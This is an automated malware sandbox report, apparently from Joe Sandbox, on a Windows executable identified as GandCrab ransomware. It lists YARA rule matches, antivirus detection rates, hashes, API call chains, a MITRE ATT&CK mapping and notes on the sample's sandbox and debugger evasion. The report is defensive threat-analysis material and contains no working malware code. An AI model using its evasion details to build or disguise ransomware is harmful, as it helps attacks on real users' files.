Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: ReflectiveLoader author = Florian Roth, description = Detects a unspecified hack tool, crack or malware using a reflective loader - no hard match - further investigation recommended, nodeepdive = , score = 2017-07-17, reference = Internal Research, modified = 2021-03-15
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: SUSP_RANSOMWARE_Indicator_Jul20 date = 2020-07-28, hash3 = 6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306, hash2 = 5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473, author = Florian Roth, description = Detects ransomware indicator, score = 52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6, reference = https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_ReflectiveLoader author = ditekSHen, description = detects Reflective DLL injection artifacts
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: Gandcrab author = kevoreilly, description = Gandcrab Payload, cape_type = Gandcrab Payload
Source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE	Matched rule: Win32_Ransomware_GandCrab tc_detection_name = GandCrab, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 244

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_00931E5B	0_2_00931E5B
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_009398E1	0_2_009398E1
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_0093A84D	0_2_0093A84D
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_00938674	0_2_00938674
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_00937B90	0_2_00937B90
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_009369EC	0_2_009369EC
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_00938102	0_2_00938102

Source: vy3mvlAaCZ.exe	Virustotal: Detection: 85%
Source: vy3mvlAaCZ.exe	Metadefender: Detection: 74%
Source: vy3mvlAaCZ.exe	ReversingLabs: Detection: 96%

Source: vy3mvlAaCZ.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\vy3mvlAaCZ.exe "C:\Users\user\Desktop\vy3mvlAaCZ.exe"
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4268 -s 244

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4268

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER97F6.tmp

Jump to behavior

Source: classification engine

Classification label: mal88.rans.evad.winEXE@2/4@0/0

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: vy3mvlAaCZ.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected ReflectiveLoader

Source: Yara match	File source: vy3mvlAaCZ.exe, type: SAMPLE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vy3mvlAaCZ.exe.944250.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vy3mvlAaCZ.exe.944250.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.930000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.930000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.944250.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.vy3mvlAaCZ.exe.930000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.259577181.0000000000944000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.271011558.0000000000944000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.256875847.0000000000943000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.260275699.0000000000944000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vy3mvlAaCZ.exe PID: 4268, type: MEMORYSTR

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_00932A35 push ecx; ret

0_2_00932A48

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_0093C790 LoadLibraryA,GetProcAddress,

0_2_0093C790

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_00931E5B RtlEncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00931E5B

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_0-7900

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

API call chain: ExitProcess graph end node

graph_0-5933

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_00934E1A EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

0_2_00934E1A

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

0_2_00934E1A

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_0093C790 LoadLibraryA,GetProcAddress,

0_2_0093C790

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_00932041 GetProcessHeap,

0_2_00932041

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_00933387 SetUnhandledExceptionFilter,		0_2_00933387
Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe	Code function: 0_2_009333B8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_009333B8

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_0093C090 DefWindowProcW,RegisterClassExW,_memset,CreateWindowExW,DestroyWindow,DestroyWindow,Sleep,CreateThread,Sleep,DestroyWindow,DestroyWindow,TerminateThread,CreateWindowExW,GetWindowLongW,SetWindowLongW,SetWindowLongW,SetWindowLongW,keybd_event,keybd_event,keybd_event,keybd_event,keybd_event,Sleep,DestroyWindow,DestroyWindow,TerminateThread,WaitForSingleObject,

0_2_0093C090

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_00932D1C cpuid

0_2_00932D1C

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_0093BA30 Sleep,Sleep,GetModuleHandleA,GetModuleHandleA,LoadLibraryA,GetVersionExW,GetModuleHandleA,IsWow64Process,GetModuleHandleA,GetModuleHandleA,RegisterClassExW,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,CreateThread,Sleep,TerminateThread,Sleep,keybd_event,keybd_event,keybd_event,

0_2_0093BA30

Source: C:\Users\user\Desktop\vy3mvlAaCZ.exe

Code function: 0_2_00932881 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00932881

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	Path Interception	1 Process Injection	11 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Software Packing	LSASS Memory	14 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	1 Process Injection	Security Account Manager	11 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Obfuscated Files or Information	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 Remote System Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vy3mvlAaCZ.exe	86%	Virustotal		Browse
vy3mvlAaCZ.exe	74%	Metadefender		Browse
vy3mvlAaCZ.exe	96%	ReversingLabs	Win32.Ransomware.GandCrab
vy3mvlAaCZ.exe	100%	Avira	TR/Crypt.EPACK.Gen2
vy3mvlAaCZ.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.vy3mvlAaCZ.exe.930000.0.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
0.0.vy3mvlAaCZ.exe.930000.2.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
0.0.vy3mvlAaCZ.exe.930000.0.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File
0.0.vy3mvlAaCZ.exe.930000.4.unpack	100%	Avira	TR/Crypt.EPACK.Gen2	Download File

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	694561
Start date and time:	2022-08-31 23:58:21 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	vy3mvlAaCZ.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal88.rans.evad.winEXE@2/4@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 100% (good quality ratio 92.2%) Quality average: 80.2% Quality standard deviation: 30.1%
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI Sleeps bigger than 300000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, WerFault.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, login.live.com, eudb.ris.api.iris.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, arc.msn.com
Not all processes where analyzed, report is missing behavior information

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_vy3mvlAaCZ.exe_6074d93d852c1785169ec71e797e6a243c122_d0e789f3_1326a322\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.673804623399491
Encrypted:	false
SSDEEP:	96:kbFWtfhs1Dg3fDUpXIQcQvc6QcEDMcw3Db+HbHg/8BRTf3OyWZAXGng5FMTPSkvu:WsKHBUZMXYjuq/u7svIS274Itwl
MD5:	3BB61DDF965463EDB0AA60D2950DC834
SHA1:	94BB88E8277D67F9261EFDA7122B5063FAD1C3AD
SHA-256:	7887FD561BF713404541B56AB5EF8BC9FA9A5F10F72A15C245B2559DE5EBC544
SHA-512:	5DE44FD2771DFA8145ED27B03416A0C0CDF00C323DE366DCBEE06F5E9108F332400A2D398E82D3B131371CBA1AFE0525E599956951D7DDC63CF626FAED67A27C
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.0.6.4.8.9.1.6.6.0.9.7.5.7.2.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.0.6.4.8.9.1.6.7.3.4.7.5.7.7.6.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.d.4.c.0.a.e.5.6.-.9.f.7.f.-.4.1.f.6.-.9.0.f.5.-.b.2.9.c.8.c.2.5.e.5.e.f.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.5.4.1.1.7.9.9.-.7.b.7.6.-.4.e.f.a.-.a.6.8.4.-.4.0.9.b.a.7.f.4.b.c.c.4.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.v.y.3.m.v.l.A.a.C.Z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.0.a.c.-.0.0.0.1.-.0.0.1.a.-.c.7.3.0.-.5.6.5.d.d.0.b.d.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.0.9.1.d.d.a.7.1.0.3.b.9.8.a.3.c.9.4.4.5.a.1.1.3.8.3.7.c.b.f.e.9.0.0.0.0.f.f.f.f.!.0.0.0.0.6.f.a.9.0.a.2.2.9.1.4.8.7.5.9.d.1.2.c.6.3.b.e.e.3.4.2.e.5.5.f.a.8.8.7.f.6.9.7.6.!.v.y.3.m.v.l.A.a.C.Z...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER97F6.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Sep 1 06:59:26 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	35404
Entropy (8bit):	1.8846641325885034
Encrypted:	false
SSDEEP:	96:5P8M8M/mnPXq82qhi7o5g+f0lltRuii8Y6ATZK+TD5iWI3WIX7I2Qej:WUmnP1OGcltMGuK+TmQe
MD5:	8041C81145A8C17D64471E698F53B7E0
SHA1:	CB951C6F726CCC535AA77568B26EB0E4AF325116
SHA-256:	853815B51624678FA302216392D8377C0DEA180C2C2F7590C599123E3297A7C2
SHA-512:	16FA68013C4DE6C120CDA18E9829AAEE78EC5D01EEF97C2B51AEAD299018473E5D9D023216EFFAA9DCCEE26DB9A3F62CB6519049B1F9EA968C7CB8A40DBC4CC5
Malicious:	false
Reputation:	low
Preview:	MDMP....... .......NX.c....................................................T.......8...........T...............<............................................................................................U...........B......4.......GenuineIntelW...........T...........JX.c.............................0..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A1A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8278
Entropy (8bit):	3.696981182329922
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiLz6e6Yq0SUZKgmfgdSPvCpr189bGMsfLCm:RrlsNi/6e6YJSUZKgmfgdSdGffP
MD5:	0E50780F5CD7ECADA812B9172438386E
